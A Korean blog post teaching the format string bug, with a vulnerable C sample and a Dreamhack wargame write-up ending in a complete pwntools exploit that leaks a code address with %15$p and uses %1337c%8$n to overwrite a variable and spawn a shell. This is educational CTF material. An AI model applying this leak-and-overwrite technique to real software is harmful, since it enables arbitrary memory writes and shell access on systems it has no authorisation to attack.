Format String Bug

buaii·2024년 6월 26일
0

System Hacking

목록 보기
11/11

Format String Bug

// fsb_auth.c
#include <stdio.h>
int main(void) {
    int auth = 0x42424242;
    char buf[32] = {0, };
    
    read(0, buf, 32);
    printf(buf);
    
    // make auth to 0xff
}

위의 코드처럼 사용자가 포맷스트링을 입력할 수 있을 경우 발생하는 취약점이다.

포맷스트링으로 사용할 수 있는 형식 지정자는 위와 같다.
이 중에서 n을 사용하면 특정 주소에 값을 써넣을 수 있게 된다.

그리고 최소너비라는 것을 지정해 줄 수 있는데 이를 통해서 원하는 값을 넣을 수 있게 된다.


wargame

dreamhack의 format string bug문제를 풀면서 이해해보자

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

changeme라는 변수값이 1337일 경우 쉘을 실행한다.
근데 중간에 printf(buf)를 통해 format string bug가 발생하는 것을 알 수 있다.
아까 n을 통해서 특정 주소에 값을 넣을 수 있다고 했고, 최소너비를 이용해 원하는 값을 넣을 수 있다고 했다.
이를 이용해서 changme에 1337를 넣는 payload를 작성해보자

우선 1337을 넣도록 해야한다
payload = b"%1337c"를 만들고 몇 번째 인자에 이 값을 넣을것인지 정해야한다

x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달합니다.
예를 들어 printf("%d %d %d %d %d %d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9);를 호출하면,
1, 2, 3, 4, 5, 6, 7, 8, 9는 각각 RSI, RDX, RCX, R8, R9, [RSP], [RSP+0x8], [RSP+0x10], [RSP+0x18]에 전달됩니다.

payload = b"%1337c%8" (스택 첫 번째)
payload += b"$nAAAAAA" (스택 두 번째) 여기서 A의 역할은 8바이트로 맞추기 위한 패딩이다.
payload += p64(changme) (스택 세 번째) 이렇게 하면 스택의 3번자리에 changeme의 주소가 온다.
즉, RSI, RDX, RCX, R8, R9 + 3으로 8번째의 인자에 위치하게 된다.

payload

from pwn import *

p = remote("host3.dreamhack.games",12108)
elf = ELF("./fsb_overwrite")

p.sendline(b'%15$p')
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + elf.symbols['changeme']

payload = b"%1337c%8"
payload += b"$nAAAAAA"
payload += p64(changeme)
p.sendline(payload)
p.interactive()

최종적으로 이렇게 payload를 작성할 수 있다.

profile
buaii

0개의 댓글

관련 채용 정보